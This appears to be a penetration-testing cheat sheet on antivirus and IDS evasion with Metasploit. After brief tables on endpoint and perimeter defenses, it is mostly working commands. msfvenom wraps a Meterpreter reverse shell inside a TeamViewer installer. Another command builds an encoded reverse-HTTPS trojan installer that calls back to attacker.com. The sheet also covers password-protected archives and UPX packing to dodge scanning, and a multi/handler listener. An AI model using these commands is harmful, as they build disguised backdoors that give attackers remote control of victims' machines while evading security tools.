Type Description
Endpoint Protection Localized software protecting single hosts (AV, antimalware, firewall, anti-DDoS) Perimeter Protection Physical/virtual devices on network edge (firewalls, IDS/IPS) DMZ De-Militarized Zone for public-facing servers with moderate trust level
Method Description
Signature-based Pattern matching against known attack signatures (100% match triggers alarm) Heuristic/Anomaly Behavioral comparison against established baseline Stateful Protocol Analysis Comparing protocol events against accepted definitions SOC Live Monitoring Human analysts monitoring network activity in real-time
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
-k -x ~/Downloads/TeamViewer_Setup.exe \
-e x86/shikata_ga_nai -a x86 --platform windows \
-o ~/Desktop/TeamViewer_Setup.exe -i 5
Flag Description
-kKeep original executable functionality (run payload in separate thread) -x <file>Use executable as template -e <encoder>Specify encoder (e.g., x86/shikata_ga_nai) -i <count>Number of encoding iterations -a <arch>Architecture (x86, x64) --platformTarget platform (windows, linux) -f <format>Output format (exe, elf, raw, js, etc.) -o <file>Output file path
msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
-k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
msf-virustotal -k <API_key> -f payload.exe
Password-protected archives bypass many AV signatures but may generate “unable to scan” alerts.
# Create password-protected archive
zip -e -P secretpass payload.zip payload.exe
7z a -pSecretPass payload.7z payload.exe
Packer Description
UPX Universal executable packer The Enigma Protector Windows executable protection MPRESS PE/ELF/Mach-O packer Themida Advanced code protection MEW Minimal executable packer ExeStealth Anti-debugging protection Morphine Polymorphic packer
# Pack executable
upx -9 payload.exe -o packed_payload.exe
# Unpack (for analysis)
upx -d packed_payload.exe
Encoder Rank Description
x86/shikata_ga_naiExcellent Polymorphic XOR Additive Feedback x64/xorManual Simple XOR encoder x64/zutto_dekiruManual Zutto Dekiru encoder x86/alpha_mixedLow Alphanumeric mixedcase x86/unicode_mixedLow Unicode mixedcase
When writing exploit code, add offset randomization to break IDS signatures:
'Targets' =>
[
[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],
MSF6 supports AES-encrypted communication for Meterpreter sessions:
# Meterpreter runs in memory with encrypted tunnel
set payload windows/x64/meterpreter/reverse_https
set EnableStageEncoding true
set StageEncoder x64/xor
# Backdoored installer with encoding
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
-x legit_installer.exe -k \
-e x86/shikata_ga_nai -i 10 \
-f exe -o trojan_installer.exe
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
run -j